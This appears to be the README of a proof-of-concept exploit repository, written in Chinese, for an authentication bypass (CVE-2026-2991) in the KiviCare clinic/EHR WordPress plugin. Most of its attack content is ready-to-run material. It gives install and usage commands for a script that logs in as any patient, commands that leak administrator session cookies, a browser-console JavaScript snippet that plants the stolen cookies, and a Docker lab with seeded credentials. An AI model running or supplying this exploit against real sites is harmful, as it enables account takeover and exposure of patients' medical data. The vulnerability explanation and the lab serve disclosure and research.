CVE-2026-2991 是 KiviCare – Clinic & Patient Management System (EHR) WordPress 插件中的一个身份验证绕过漏洞,影响所有版本直至并包括 4.1.2。
该插件在 /wp-json/kivicare/v1/auth/patient/social-login 暴露了一个公开的 REST 端点,用于通过社交登录对用户进行身份验证。patientSocialLogin() 函数接受一个电子邮件地址和一个访问令牌,但从不根据所声明的社交提供商验证该令牌。任何未经身份验证的攻击者只需提供目标患者的电子邮件和一个任意字符串作为令牌,即可登录为任何已注册的患者。
此外,WordPress 身份验证 cookie 是在强制执行患者角色检查之前发出的。这意味着对于非患者账户(包括管理员),响应返回 HTTP 403,但仍包含有效的 Set-Cookie 标头——从而将可重放的管理员会话泄露给攻击者。
受影响版本: kivicare-clinic-management-system <= 4.1.2
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-2991.py --url <TARGET_URL> --email <TARGET_EMAIL> [--login-type <google|apple>] [--timeout <SECONDS>] [--useragent <UA>]
绕过已注册患者的身份验证。脚本会返回其完整会话,包括一个 nonce 和可重放的 cookie。
python3 CVE-2026-2991.py --url 'https://target.com' --email '[email protected]'

提供任意非患者用户(例如管理员)的电子邮件。该端点在角色检查之前发出有效的身份验证 cookie 并返回 403——这些 cookie 会被提取并打印出来。
python3 CVE-2026-2991.py --url http://localhost:8080/ --email '[email protected]'

成功运行后,脚本会打印一个 JavaScript 代码片段。在浏览器中打开目标站点,将代码片段粘贴到浏览器控制台(F12 → Console)中并按回车——它会设置窃取到的 cookie,并自动将你导航到仪表盘。
(() => {
document.cookie = "wordpress_<hash>=<value>; path=/";
document.cookie = "wordpress_logged_in_<hash>=<value>; path=/";
window.location.href = "http://target.com/kivicare-patient-dashboard";
})();
一个自包含的 Docker Compose 环境,已预先安装存在漏洞的插件,并填充了逼真的测试数据。 更多详情请查看 DOCKER.md。
cd docker/
docker compose up
该实验环境在首次启动时会预置以下账户:
# 绕过患者身份验证
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
# 泄露管理员会话 cookie
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
此工具仅用于教育和研究目的。创建者不对因使用此工具而产生的任何滥用或损害承担责任。
| 角色 | 用户名 | 电子邮件 | 密码 |
|---|
| Admin | admin | [email protected] | admin |
| Doctor | dr.harris | [email protected] | Doctor@123 |
| Doctor | dr.chen | [email protected] | Doctor@123 |
| Doctor | dr.okonkwo | [email protected] | Doctor@123 |
| Patient | james.ford | [email protected] | Patient@123 |
| Patient | sofia.reyes | [email protected] | Patient@123 |
| Patient | oliver.knight | [email protected] | Patient@123 |
| Patient | amara.diallo | [email protected] | Patient@123 |
| Patient | dan.walsh | [email protected] | Patient@123 |